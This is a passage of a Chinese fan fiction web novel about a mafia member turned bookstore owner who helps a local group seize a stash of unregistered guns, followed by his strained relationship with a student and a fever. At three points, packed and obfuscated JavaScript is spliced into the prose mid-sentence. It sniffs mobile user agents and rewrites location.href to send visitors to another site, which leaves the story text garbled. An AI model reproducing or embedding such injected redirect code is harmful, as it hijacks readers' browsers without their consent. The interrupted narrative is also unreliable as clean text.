雨季就是这样的,一整天都在下雨的时候都不罕见。家里开窗户,就会让家具变得潮乎乎的,不开窗户空气又不新鲜,真是两难。 老板一手提着雨伞,另一只手拿着手机,摄像头没有枪支可看的时候,就会对着地面,不会把他的样貌拍进去。 他们已经走过了三间房屋,每个塑料箱里堆放的枪支都是不同型号混着放,有的箱子满得盖不住,而也有的箱子里只有一支单独的枪。 哎,其实,他原以为今天跟着老板来一定能遇到有意思的事——虽然现在只是在做灯架子的活。 “我不需要不听命令的人。” 那天在京成街,准备淋着雨回家的老板对他和焚石这样说,看样子打算剥夺他们对枪支来源的知情权。那怎么行。 你还没试过,怎么知道我们不会听命令。 这是他的真心话,谁知老板却露出了与被他把伤痕认成纹身那时一模一样的脸色。 老板不想说话了,摆手让他也闭嘴。 站在他身边的焚石及时拦住老板,说,那是他们的对手。 对哦。 那个私下里带枪的家伙是他们的对手,从这方面来讲,他们是有“知情权”的。 “……和我扯这个?” 老板的话说得又慢又轻,语气像在反问。 但他们只是想知道关于自己的真相而已。 “然后呢。” 重新转过身注视着他们二人的青年说。 “知道了之后,你们要做什么。” 他上前一步,直视老板的眼睛,在那双玫红色的眼睛里试图找到其他情绪,“老板……” 你个子是不是比我低。 从脚腕爬上大腿的刺痛让他瞬间在水平线上比老板矮了一大截。 因为他单腿跪倒了地上。膝盖没入积水,本就被雨淋得不成样子的裤子再次遭受重创。 “先回答我。” 老板声音里的冷静没有消失,但也听不出老板因为他调侃其略低于他的身高而生气。膝盖磕在地上是很疼,他龇牙咧嘴好半天,朝身边的人伸手,他的意思是焚石能不能拉他一把,一直跪在雨里也太狼狈了。 他从老板眼里看不出对他的轻蔑和嘲笑,只有专心的审问。 但他伸出去的手没人理。 “那是我们的事,原本不该插手的人是你。” 老板不再看他,扭头注视着他旁边在这种情形下简直是出言不逊的同伴。这么说的话,老板会生气吧。 他那天费劲地从地上站起来,心里如此想到。 即使事实证明,老板不会因为他们的话生气,也没有因为焚石嫌他妨碍到自己于是对他出手而生气,无非就是他们两个在雨天落得相同的下场。 但老板也有自己的脾气。证据就是,就算老板最后允许他们一同前往敌人的巢穴,他如今也只能当人形自走灯架,替左手拿伞和衣服、右手举着手机的老板照亮那一箱又一箱的枪支。 而焚石现在在外面做自己想做的——也就是把见到的每一个对手都揍一顿。那本来就是些和他们结仇的家伙,被焚石揍一顿正合他们心意。 他像是被老板摁在身边的人质。一旦焚石有让老板不满的举动,老板就会对扣在自己身边的他干点什么不当人的事——比如让他当人型自走灯架。 视频通话那头的人经常变,时不时还有几句外语传到他耳朵里,老板听对面的多国语言毫无障碍,回答时一律是本国语言。 对面似乎出了点状况,老板把视频通话挂断了。 此时他终于有了发言权,“老板,你和你的朋友到底是做什么的,难不成你以前真是杀手。” “你拿什么情报换。” 老板扭过头来回答他,神情一如往日平静。 这也能换吗?这也是只能“交换”才能得到的东西吗?他目瞪口呆。 老板现在像一个演了半生好邻居然后突然不装了的高明演员…… 也不对,他顿悟了。 甚至可以说老板从没装过好人。老板很久以前就说过自己干了什么,只是他和焚石都没信,以为只是像都市传说一样的老板在骇人听闻,信口胡诌。 “发消息,问情况。”老板此时又“命令”他和焚石联系。 好吧好吧。那他就先打个电话,今天早上出门他“求”焚石一定要带上…… 身边的青年迅速摁住了他的手腕,阻止他打一通电话出去。 “发消息。” 嗯?他神色困惑地看着老板。还是打电话更快吧。 知道棪堂在想什么的人在心里叹了一口气。 所以说……佐久间弥津在组织里很少带新人的原因,一方面是他没有完整的时间,另一方面,自然是带没经验的新人会很心累。 一如当日的鸿上之于菊池守,也如今日的他之于棪堂和焚石。 万幸的是,棪堂和焚石只是和他临时谈妥的“下级”。假如回组织之后的某一天上级安排他引导新人,那实在分不清是新人更紧张还是他更发愁。 “如果此刻面对的是杀人如麻的犯罪组织。” 你们兵分两路。一路潜入地下,探索敌方弹药库,就像你现在所做的事情一样。一路位于台前,用武力碾压因为子弹一定不足而不会人人配枪的犯罪组织,就像他在做的事一样。 现在,潜入地下的你给对方打了一通电话,“如果他还没有和敌人正面接触,你会暴露他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676673|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的所在。” 棪堂哉真斗很少思考这么麻烦的问题,“但你不是要求过我们两个把手机静音?” 他眼前的青年从外套衣兜里摸出一个手掌心大小的喷雾式药剂,张嘴对着自己按了一泵,脸色不知为何忽然冷了下去。 “……他没听我的。” 对“同伴”的安危考虑不周,会很危险。 若站在自己眼前的是其他人,佐久间弥津会对药的苦涩不加掩饰——脸色至少会扭曲一秒。可此刻站在他面前的是他并不太了解的人,难保不会在他因为药太苦所以面露难色后,招来棪堂的嘲笑。 那种事还是算了。 没继续和他争论,棪堂摁起手机,一边问,“干你们这行是不是得换个和正常人不一样的脑子。” 他盯着棪堂,婉拒回答。没看到他要喷点苦得让人牙齿打颤的药了吗。而且,什么叫“我们这行”,棪堂以为他是干什么的。 “电话怎么不继续打了?” 自然是因为那边出了点小状况,但问题不大。 那是因为,在今天之前,中也先生已经彻底掌握了他的行踪和状况,之后发生什么都顺其自然又合情合理。 他甚至可以在电话再度打来之后,娴熟地称呼对方说,“下午好,中也先生。” 他回到前一个房间,直接走到最里面的墙角,面对着墙,示意棪堂哉真斗别跟过来,免得听到什么不该听的事。 属于优的手机一定会落到他们所有人的上司手上。视频通话的摄像头拍不到全身,但这个角度,显然中也先生把手机放在桌上。摄像头翻转,照出了中也先生的脸和天花板,上半身穿着一件休闲风格的橙色外套。中也先生的长相本就显得年纪小,换身色彩更明朗的衣服,会越发让路人觉得他像个稚气未脱的学生。 他许久没见的上司看了屏幕上的他一眼,又抬起头疑惑地扫了摄像头外的人们一眼,问道,“我都下班了,你们怎么还凑一块。” ……下班?今天这么早,现在才四点。 “明天出差,今天我一定要早点下班。”谁拦都不好使。 还真是辛苦。 “他们说你遇到了点麻烦,是什么?我刚刚听到有人说自己在地板上看到了水波纹,就来看一眼。” 刚出办公室,中原中也听到了走廊里的成员在这样窃窃私语。 听这描述,他能认出那是谁的能力,但不知道为什么平白无故在总部用异能力。他有点在意,反正下班了,决定来看一眼。 可他刚推开紧闭的房门,就听到了来不及停下的喧哗。最终,手机易主,他有段时间没见的下级依靠现代科技重新出现在他的眼前。 “我住的地方流入了无主的枪支。”幸好因为弹药稀缺,一切都可控,没有泛滥到人手一件。 “……没了?” “嗯。我拜托他们帮我辨认型号。我不太懂。” 熟悉的人都知道枪械不是他擅长的东西,中也先生也是如此。 电话那头的上司安静半晌,也看到了他背后一排又一排的铁架子,在他以为这个话题就此揭过时,突然说,“我感觉,你在外地忙的是些差不多的事。” 要经营——如果把书店看作商业设施的话,还要帮当地实行“枪支管控”——那地方治安是不是有点差,要对付来路不明的敌人——佐久间那次没想过把自己不认识的中岛敦干掉,他绝对不信。 ……这不和在组织里工作没区别吗! 49.技惊四座的都市传说(下) 今天出门随便挑了一双带矮跟的靴子。虽然已经忘记是什么时候放进鞋柜的,焚石矢对自己需要在消防通道中奔跑毫无怨言。 在大又厚重的“门”即将落下,将这片区域被人为封闭前,他挤着仅容一人通过的缝隙,滑铲似的从“门”下穿出。 从地上站起来,他看了一眼手心在地面上蹭到的灰,没说什么。 他出门不带手机的习惯过去常常被唯一的同伴所诟病,但今天情况特殊。 贴着本该作用于隔离火场的“墙壁”,他给发来消息的人回了句话。 这对于正在摩拳擦掌准备给闯入者一个印象深刻的教训的人而言,实在是最大的侮辱和蔑视。 * 中原中也拿着其实他也不知道属于谁的手机——他一进门就看见镜优从水落手里抢手机,另一个……记得是叫鸿上,居然一直躲在旁边看热闹。 也许真的是镜优自己的?他没顾得上问。但欧洲部门的人都还是老样子……感觉没变过,不说成员们的性格外貌,只谈氛围,那边总要比国内热闹点,虽然他说不出为什么。 手机落到组织中原干部手里,比被水落望音这个混蛋抢走好。 镜优很快接受了中原干部撞见他们私自联系弥津大人的事实。 已经没关系了,这种事。弥津大人如今只是身在外而已,知情人全都默认他早已回到了这里。 中原干部拿着手机从桌边走到沙发边坐下,聊的话题越来越远,甚至扯到了弥津大人在外地的生活起居,还有弥津先生为治病戒了酒的事。 “最近,有在稍微……” 佐久间弥津的意思是,有喝一点酒。 中原中也很疑惑佐久间的说辞。别说现在只是做完手术半年多,就算过了一年,医生也不可能同意病人喝酒。 “这段时间,我没复查。” 沉默了一会儿,中原中也语气有点别扭地说,“但还是……” 以佐久间的发声情况,还是别碰酒了。 与许久不见的下级聊了足有五分钟没营养但很好笑也很重要的生活“琐事”,中原中也忽然想起自己正在下班的路上。 他不着痕迹地掩饰自己方才的走神,“……晚点回伦敦,这里有事需要你们做。” 接着很生硬地把话题扯回来。 但还是先把佐久间的事办了。 下班未遂的人还了手机,落荒而逃。 拿回手机持有权的人正要继续自己的“工作”,屏幕上的影像却晃动起来。 是拿着手机的弥津先生在走动。一段他们听不清的对话后,通话再一次挂断。 不知道那边发生了什么,镜优急得想当下赶赴需要帮手的上司身边,被水落望音冷嘲热讽好一阵。 “没听到有让你留在横滨的命令吗。” 首先,中原干部的命令优先级高。其次,弥津根本用不着你,蠢货。随便找的帮手都能代替你。 有些话,水落望音不说,和说了也没区别。 远在横滨的人们之间存在怎样的纷争,被告知自己和棪堂一起被封锁在地下楼层的佐久间弥津没有余力关心。 棪堂哉真斗盯着青年的脸,想从中找寻出几分他想看到的懊悔和惊慌失措,可惜他还是打错了算盘。老板脸上既没有慌张,也没有害怕,他收到的消息仿佛写着快递到了家门口,而不是“一楼出入口被封住”。 老板瞅了他一眼。 “你在害怕吗。” 怎么可能?他只是想看老板因为计划不周而被瓮中捉鳖后会有什么表情。 但他失望透顶,他只看到了老板因为最近调查这件事所以一直没休息好,眼白里很多红血丝。想看别的表情,他只能想象了。 老板不会真是面瘫吧。 只搭理了他一句,老板便低下头,手速极快地给什么人发消息。 你是要找救兵吗,那未免太丢脸了。 老板摇了摇头。 现在到了六方一座该出场的时候了。这么多枪,不知道这些家伙攒了多久,弹药不够是好事,否则这座城镇会被这些家伙给毁了。 “我们现在要做什么。” 难不成要等对手地毯式搜索,找到潜藏在地下仓库的他们两个,然后一人挨一枪,宣布自己的生命到此为止? 老板没抬头,指了指他的嘴。 ……这是什么意思? “安静点。”老板蹙着眉,“我好不容易记住数目。” 棪堂哉真斗重新板起脸。他可没想要看老板冲他发脾气。和别人聊够了,老板把手机丢给他,“命令”他去剩下的两个房间录像,自己则只身离开。 “每个录像不超过一分钟。不要说话。也不要拍到你的长相,小心反光。不要出错。” 他明白了。闭嘴接过手机的棪堂哉真斗心想。老板以前一定是个经常命令别人的人。 * 啊……手机怎么黑屏了,是没电了吗。他记得刚才还有一格电的。聊天聊到一半人突然掉线,会被阿苏以为他在犹犹豫豫地浪费时间吧。 桐生三辉摁了摁开关机键,手机还是没反应。怎么会这样。他试着给手机充电,手机屏幕果然在几秒后亮起,出现了电池电量耗尽的大图标。这意味着方才,连开机的电量都不够。 充电宝居然也只剩一点电量了,勉强够把手机充开机……这是怎么回事?充电宝是他用来应急的,他每周都会检查电量,给它充满。 这周用得这么快,难不成是充电宝的使用寿命快到了。 不明觉厉。 他只好回书房拿充电线。没办法呀,聊天要继续的嘛。他刚打出一句“你和老板很熟吧”,眼看着阿苏已读,手机忽然黑屏,他也很无辜。 鼓捣半天,他重新打开聊天界面,发现同伴刚给他发来回复。 【还好。怎么了】 被问起老板的事,和桐生三辉私聊的人理所当然地愣了一下,仍然回以肯定的答案。 【手机刚才电量告急】 同伴解释道。 【你知道老板以前是做什么的吗】 ……没电了? 苏枋隼飞扭头望着窗外,室外正下着大雨。 大雨腾起雨雾,模糊他的视线,想眺望远处更是无稽之谈。睡到现在才醒的人,一定分不清现在是日出前的朦胧天色还是雨天阴沉沉的下午。 【好巧】 【我的手机刚刚也没电了】 不然,他怎么用得着一边充电一边回消息。 【这也太巧了】 桐生三辉被这样的巧合震惊了。这是同学之间的默契吗?但这种默契就算了吧。 【抱歉】 【我之后回复】 【现在有一点忙】 已经当了几年同学的桐生三辉自然不会计较这点。 苏枋隼飞翻出家里的雨伞,揣着电量刚过安全线的手机,毫不犹豫冲进大雨中。 他唯一的目的地自然是凝聚他诸多回忆的地方。愿意“听”弥津先生的话少露面,但绝对不去见弥津先生——他没有这么承诺过。在他的亲身经历里,一旦弥津先生使用那份能力,身边手机也好,其他充电设备也好,会遭遇不同程度的“损伤”,电量耗尽只是最基本的表现。 手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682981|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机没电的瞬间,他心里有点奇怪,但没想到这回事。 他一步都不敢停下,在积水遍布的街道上飞奔。越靠近商店街,他的心跳得越快,直到他远远地望见伫立在大雨中的书店,看到店门上模模糊糊的字牌,他站在盛夏的街头,感觉像被投入万米深海般浑身发冷。 ……怎么可能呢,他和桐生住的地方还有点距离的。 而且,假如这些巧合都是弥津先生造成的,他现在又在何处。 他回头走了几步,推门进了绿萝咖啡厅。 下午好。 橘琴叶冲着进门的苏枋隼飞打了声招呼。“我怎么看见你是跑过来的。” 苏枋的样子看着挺奇怪,但橘琴叶把自己的发现归结于苏枋奔跑过所以看起来上气不接下气,在苏枋想借她手机打电话时,不假思索地点头答应了。 但她递出手机的时候没想过自己会这么尴尬。她的手机没电了。 糟糕,苏枋的脸色更奇怪了。 “最近,有见过弥津先生吗。” “‘弥津先生’是……佐久间先生?有啊,他昨天还在店里。”橘琴叶回忆道。青年的身影她记得很清楚,“中午来买过咖啡。” 得不到更多信息,苏枋隼飞礼貌告辞,撑着伞站到书店紧闭的门前,透过玻璃望着书店内的陈设。 连他自己都不知道他在想些什么乱七八糟的事。 他在想店名的意义,想弥津先生昨天喝的咖啡的口味,万一现在有客人上门怎么办,弥津先生现在会在什么地方。 他又觉得自己应该先回答桐生的问题。 但问题背后的故事不会很简单。一定是……知道了些什么,桐生才会这样问他。 * 打架是他们最擅长的事。 而对付枪手是他们比较“不擅长”的事。 面对黑黝黝的枪口,焚石矢暂时放下拳头,大脑冷静得仿佛半个小时前被端进了冰箱冷冻室。不知方才揍谁沾到的血液从手指滑落,落在地上,和雨势不减的倾盆大雨混在一起,立马被稀释,失去踪迹。 焚石矢永远不会知道这是他第二次被枪口瞄准。第一次是在两年前的风铃高中天台,然而这已经成为几人暗自发誓绝对不会说出去的秘密。 带枪的人由他解决。兵分两路前,那个男人说。 他信了。 银白的箭矢从身后穿梭而出,和这个时代最流行的热武器分庭抗礼。他不得不把手挡在眼前,才能在交织的电光和雨幕中看清对手的下场。 一场让人心如止水的碾压“战斗”,他没有看的兴趣。 回头和撑着伞的男人对视,他问,“为什么那时候不这么做。” 风铃的家伙们真走运,有这样的人站在他们那一边。 “只是不想。”男人语气平淡地回答他。 男人举着的伞上同样有银光缠绕。时隐时现的细小电流,看似毫无威胁…… 他回头瞧了一眼已经不配成为他对手的家伙们。 ……只是现在对他没有威胁。 单方面的“暴行”持续了很久,他们就这样无视对视,谁也没说话,久到这个世界只剩下雨声。 等六方一座的人收到消息赶来,看到的只有一堆躺在积水里,人事不省的预备阶下囚们。 而造成这一切的人,正被呆在地下仓库的棪堂哉真斗追着问“为什么走廊里那么多晕过去的人,我什么声音都没听到”、“你怎么出去的”、“你怎么回来的”…… “我手机怎么没电了?” 问题太多,佐久间弥津收了伞,甩了甩雨水,一律以沉默代替回答。 50.一起散步的都市传说 书店又挂上了暂停营业的牌子。雨丝飘摇,在玻璃上留下斑驳杂乱的雨痕。 近一周都没出现在店里的青年被这段时间交情突飞猛进的人叫去参加庆功宴。 说是庆功宴,中村干路只是想和青年见一面。 不可说的身份摆在那,他们六方一座唯一能做的,就是尽全力掩盖佐久间弥津的存在,再按青年的要求为所有的“斗争”扫尾。 然而就连扫尾的方法,青年也几乎手把手教了他。看似全程毫无存在感的青年是整件事最大的功臣。 他不免遗憾地说,“说实话,如果不是早有归属,我现在很想邀请你加入六方一座呢。” 佐久间弥津不介意中村干路挖墙角似的发言。他们都知道这不可能,他亲声说,“抱歉。” 他不可能加入任何组织或者社团。就像梅宫的心总要回到风铃,中村干路的心思永远放在京成街。就算他曾经想要否认,那也不能改变他的人生早已和港口黑手党绑定的事实。 只是他忍不住又想起了那里的人。 回到国内之后,他很久未同组织的人联系了。 水落逼他承诺来年一定回去,并且要和这里的人保持距离,随后便放心把他送走,随便他过自己的店长生活。 这是他在这里过的最后一个雨季了,他希望能完整地度过。 但他也要为组织的耐心着想。中也先生念于旧情,愿意接受他回头,若是再过几年,他的存在或许会完全被组织淡忘。到时候,他回不回去,在前同事们心里毫不重要。 钢琴家的账户经常在线。但自他们有过关于病情的几句讨论后,他们彼此再无交流。 优没有被水落派去美洲,那个让优总是抱怨会蹭一身怪味的地方——他知道优说的是何种味道,那和燃烧着的烟草很像的东西——但下场没好多少。优和水落不对付的情况,难道只能等他回去之后和水落“分庭抗礼”吗。别这样,他很想试试当水落下属的感觉。 中村干路再三确认他是能喝酒的。 “万一喝了酒之后,你做了手术的嗓子又坏掉了,那不是完蛋了吗。” 他点头,“能喝。”但只能喝一点。 同桌的人都是六方一座的成员,对佐久间弥津有好奇,但更多的是钦佩。据他们的领袖说,这位青年是个绝顶聪明的人。 当然,这种话,佐久间弥津没机会听中村干路亲口说。 历时近一周,十分刺激的经历,在作为“本地人”的六方一座成员们得到官方部门的准确回复之后宣告结束。 无人受伤,反倒是在和以往不同的严肃场合中,身心都得到了洗礼。 这次不仅守护了京成街,还有本地的其他地区。毕竟枪械这种东西,一旦在争斗中拿出来,受伤的人不只一个两个。 将苗头扼杀的果断与决绝,是中村干路最佩服佐久间弥津的地方。有这样魄力的人,怎么会是黑手党成员呢。 中村干路可惜地想。 佐久间转行去干别的,也一定不会失败吧。 佐久间弥津不了解中村干路的这些想法。即便他知道中村干路会这样想他,他也不会否认自己如今走的路。没有绝对正确的路,只有一直走下去的路,没有预知能力的人类只能这样生存。 他倾听六方一座成员正在兴头上的聊天,小口饮着杯中度数不高的酒,心说这样的生活其实也不赖。 周围的人年纪都不大,但比苏枋他们…… 但比风铃的学生经验丰富,对生活的追求也不一样。 他想谢谢中村的信任。 如果六方一座不愿意配合他,他会只身前去。独自处理不是做不到,而是会更麻烦,毕竟他的最终目的是处理掉会威胁普通人的枪械,而不是置人于死地。 不考虑后果的杀人是最简单的,社会上许多激情杀人的犯罪者不一定哪里比旁人优秀,但一定大脑空空。 “哪有的事,是我们更该谢谢你吧。” 能帮忙破获涉及枪械的“大案”,这种事就算放在中老年和老友们在酒桌上侃大山时唠叨,也是一件永远说不厌的事。 佐久间弥津轻轻点头,不再说多余的话。眼看着即将到晚上八点,他向六方一座的各位告辞。 这几天的共事,他很满意。发自内心地想让这片地区变好的人们,都是值得尊敬的。 可不曾想,他一出店门,少年就站在门前的路灯下冲他笑,流苏耳饰随着扭头的动作一晃。 他一定有两秒忘记了如何呼吸。 ……你怎么在这。 少年做了个请的动作,“我可以送你回家吗,弥津先生。” 青年不回答,苏枋隼飞也会自然地把话题接下去。他掏出一个信封,送到弥津先生手上,信封上写着“佐久间弥津亲启”的字样。 “过分了,苏枋。” 不打算看信封里是什么,但佐久间弥津默许少年同他走这段路。 京成街的夜路算不上“夜路”,因为到处都是明亮又色彩丰富的霓虹广告牌,各式各样的灯带在行人头顶连成彩色的海洋,京成街永远热闹,永远张扬。 “在你眼里,我还是小孩子吗?” “也不要总是用疑问句。” 电流过热引发的小小火苗从书信的一角开始燃起。 和青年并肩走着,苏枋隼飞的手背在身后,笑道,“其实我里面什么都没写。” 佐久间弥津立马手动甩了甩刚烧了一角的信封,撕开信封,把里面的纸张留存下来。 苏枋隼飞见自己的小伎俩得逞,在心中偷笑,脸上却依旧老实,没暴露半点真实想法。 但紧接着出现在他身上并且四处逃窜游走的电流让他的双腿像失去知觉般难以站立,他只能唉声叹气地“挂”在身边的青年身上。 身边的人把他扶到公共座椅上休息片刻,站在他面前,俯视着他。如果不是他们熟悉到可以同住一间房子,黑手党成员真正的压迫感恐怕会让人心跳骤停吧。 “怎么知道我在这里。” 苏枋怎么会知道他今晚和六方一座的人呆在一块。 是因为…… “今天偶遇了一位已经从风铃高中毕业的前辈,说他最近在帮‘六方一座’的人办点力所能及的小事,但原定今晚的聚餐去不了了。我猜你最近不在店里,没准会和他们在做的事有关。” “不止。继续说。” 唉。 苏枋隼飞脸上露出无可奈何的笑,让他供出向他透露消息的同伴,不好吧。 耐心等他回答的人展开对折后的纸,看了一眼纸上内容。 “能逗你开心,我会很高兴哦。” 纸上只有一句“你被骗了”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694217|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佐久间弥津控制了一下脸部表情,坐到少年旁边,二人在公共长椅上各占一边。 苏枋隼飞盯着被青年攥在手里的残破信封和白纸,说,“所以你最近,是真的在和‘六方一座’一起做什么吧。” 佐久间弥津不再隐瞒,点了点头。 “那么……如果你认为我们走得太近,那为什么和这里的其他人走得近就可以。” 他的同伴有些担忧地提到,那两个与风铃高中有颇深渊源的家伙追着弥津先生一起离开了。比起目睹弥津先生的“凶残本性”之后对其的改观,同伴更担心那两个家伙对弥津先生造成威胁。 他对桐生解释说,不会的。 他悄悄想,就算对面是一队持枪的危险分子,弥津先生也不会退缩分毫。 所以,这是为什么呢?明明对他说,他们走得太近了,所以要分开。 ……唉。 他看着青年做出和之前相同的举动,生不起反抗的心思。 捏过他的脸,坐在他身边的人说,“图谋不轨的可只有你一个。” 即使要担上图谋不轨的罪名,苏枋隼飞也不甚在乎。他指着自己的腿,装作麻痹感还没退去的样子,说自己暂时没办法走路了,“下手真重啊,弥津先生。”对他都一点不留情吗。 “有更重的。”要尝尝吗。 把青年的玩笑尽数收下,苏枋隼飞望着身边的人,问道,“最近做了什么事?” 也没什么。 佐久间弥津长话短说,把事情的来龙去脉简单对少年解释了一遍。 他心里不觉得这是必须要对苏枋隐瞒的事,当然,如果少年不问的话,他永远不会自作主张地揭露这个秘密。 苏枋隼飞知趣地没有出声打搅身边正在思考什么的青年。直到他视野里的青年也扭过头来,对他说,回家去吧。 他说过自己要“送”弥津先生回家,这样简单的想法都达不成吗。 小腿的麻痹感让他只能撑着长椅扶手站起,压根跟不上青年的脚步。 佐久间弥津对少年的“死缠烂打”不做评价。该说的道理他说过许多遍,再说下去,不管是没听懂还是装没听懂,都没用。 “就当我是真的在图谋不轨吧,弥津先生。” 他对着青年的背影说。 假如这份感情真的算“图谋不轨”的话,他也能接受这样的罪名,“但你不能丢一个暂时失去行走能力的人在街头过夜吧。” 真的要用这种方式惩罚他吗。 已经步入熙熙攘攘人群之中的青年回过头,街道上明亮的灯牌照得青年的影子也只剩下脚底的一片。 那张熟悉的面庞总是冷静异常。没办法撼动弥津先生脸上的平淡神情,真是遗憾。 他看着青年返回他面前,问他到底想要什么。 他眨了眨眼睛,说道, 他不是说过吗,他想要弥津先生不要离开。 不要回到犯罪组织里。明明发现了平静生活的真谛,又要亲手放弃来之不易的生活,义无反顾地回到充满血腥和罪恶的大熔炉。 “……很疼啊,弥津先生。”苏枋隼飞捂着被狠狠弹了一下的额头,“你也很喜欢这里的生活吧。” 面前的青年做了个深呼吸,说出的话斩断了他的一切妄想。 “你还是不明白。” 51.发烧的都市传说 没有经历过那样的始末,是无法感同身受的。 他成为黑手党成员的原因,和他的出身、他的经历甚至是他的性格有极深的关系。在外人看来是罪恶的事,于他而言只是日常工作。想让这段关系正常化,苏枋就必须在心里承认,名为“佐久间弥津”的人,做过许多不可原谅的事。 以此为前提,苏枋不如再想想。 你的书店不再欢迎我了吗。 少年的语气听起来是有点可怜。 ……不是这种意思,他小声说。 他没再给少年继续发问的机会。允许苏枋同行这段夜路,是他最大的让步。 那天之后,他依旧照常开店,照常生活,逐渐听劝的人收敛起自己的心思,不再一有机会就缠着他,从电脑游戏扯到他们明年的毕业季。没有分寸也就没有自由,这个道理,苏枋该明白。 今年的秋天来得特别早,天气降温的幅度很大。 但一觉睡到第二天上午十点,还是这几年来的头一遭。 从睡梦中醒来,非比寻常的口干舌燥让他立刻反应过来,他的身体状态出了问题。他必须马上起床喝水润嗓子。 热水壶呼呼响。他从柜子里翻出体温计,趁这段时间量了一次体温。盯着超过38刻度的计数眨了眨眼,他生怕自己是刚睡醒所以看岔了位置。 不用手摸都能感到身体滚烫。这就是他为什么现在嗓子干得像在冒火的原因。 怎么会发烧呢。自己的抵抗力有这么差吗?莫非是最近有流感病毒。如此想着,他拆了盒从药箱里翻出来的感冒药,在心里祈祷药没有过期。强撑着高烧的身体接水吃了药,他回到床上,再次用被子把自己包裹起来,给残留自己体温的被子续了费。 身体状况不妙,他今天的工作就难以展开。因为感冒发烧而不去店里,对他来说也很稀奇,这种情况他没遇到过。 如果在他“旷工”的日子有稀客上门,那不是很不幸吗。 但他在生病。病人当然有理由做任何事,他在心里耍赖一样想。 真有今天上门的客人,就只能自认倒霉了。 是不是发烧的人都会做十分杂乱的梦。 睡回笼觉的时候,他先梦到了横滨的港口。 他小时候常去港口附近。那时他是个从成绩到人缘都平平无奇的学生,在同学们眼里没多少存在感的他,没有特别熟的朋友,独自跑步锻炼是习以为常的事。 横滨和他如今所在之地的差距用不着刻意描述。环境上的相似,掩盖不了经济发展上的差距。但只要能满足日常生活所需,那就是宜居的地方。 谈到这里的治安……他不在乎这个。换句话说,如果有人翻出他犯下的累累罪行,就会发现,和他比起来,本地的帮派结社都算纯良之辈,顶多被挂上行为不端的恶名。但这真的算恶名吗。 梦里的他在沿港口的街道跑步锻炼。 他怎么会沿着港口跑步呢,而且心里还想着下一次随堂小测。他早就不读书了。学校里没有太让人十分留恋的人和事,辍学是他自作主张,没有顺利争得父母的同意。 有点分不清梦和现实了,但他应该是笑了一声。 因为他想起父母怒骂真实身份是港口黑手党首领的森先生蛊惑未成年的场面。 现在该说是前首领了。 尤其是当母亲发现森先生也是医生时,打算好好和同行吵一架。 最后,这一架没吵成,但他也离开了家,去到了虽然危险,但更适合那时候的他的地方。 海浪翻滚,波涛汹涌。天空沉得像涂了墨,卷起海浪的狂风直击他面门。他在梦里的步伐渐渐慢了下来,直到停止。 他听不到手机铃声,也听不到有人敲门,甚至走进他,离他不到半米远。 他依旧沉沉地游荡在他的梦境之中。 唤醒他的是被什么人放在他头上的毛巾的重量。 时间,不知道。体温,应该降了点。 从被子里伸出手,他把被放在他额头物理降温的毛巾拽了下来,放到床边的矮柜上。 是优回来了?怎么没提前给他发消息。 “优?” 隔着房门,他小声呼唤道。 受发烧影响,他对外界的感知慢了半拍。侧耳倾听好半天,才发觉房间外面好像什么声音也没有。 “……水落?” 依旧无人应答。 总不能说是他的家里住进了会自动做家务的家养小精灵吧。不是优,也不是水落,还有什么人能神不知鬼不觉地摸进他家。 不对……好像真有。 自称信天翁的家伙就干过这种事。 他的体温应该降了不少,现在脑子没有早晨起床时那样沉甸甸,轻快了很多,让他想起自己从清晨到现在只喝了一杯白开水。 饥饿感还没有猛烈地攻击他的胃。按理说,他该去厨房找点东西填饱肚子。 话虽如此,他现在没什么胃口,不如吃块糖再喝口水来得舒服。 他握着门把手,低头发现房门上本该是弹孔的位置被补好了。那几个月不在家,他都忘记了房门上本该有个弹孔,他蹲下摸了摸印象中弹孔的位置。 ……怎么搞的。他家好像被不得了的人攻破了。 拉开卧室房门,看着出现在家里的陌生人,他不太想猜测在他睡觉时候发生了什么事。 客厅里,神色难看的少年们被手指粗细的绳子绑得动弹不得。绑人者极其好心地用纸胶带缠了许多圈,封住无辜少年们的嘴,让他们呆在沙发上。而不是如同面对俘虏,把他们随手扔到房间的角落。 “Surprise!” “……你们在做什么。” 委屈苏枋和樱再等一阵,他得进厨房拿把水果刀割绳子。 先不说为什么要打死结,不要趁着他发高烧就擅自进他的家好吗。他和信天翁不是第一次见,但另一个人……是谁。 金发碧眼,长相出众,没有信天翁活泼和自来熟。黑色的西装长裤裤脚刚好遮住皮鞋上沿,上身是一件与之色彩对比严重的白风衣,没有系扣。风衣里是最正经的衬衫和马甲的搭配,却干着闯别人家门的事,怪不得会和信天翁一起做事。 信天翁递来一把□□,怂恿道,“用这个吧,超锋利的!” 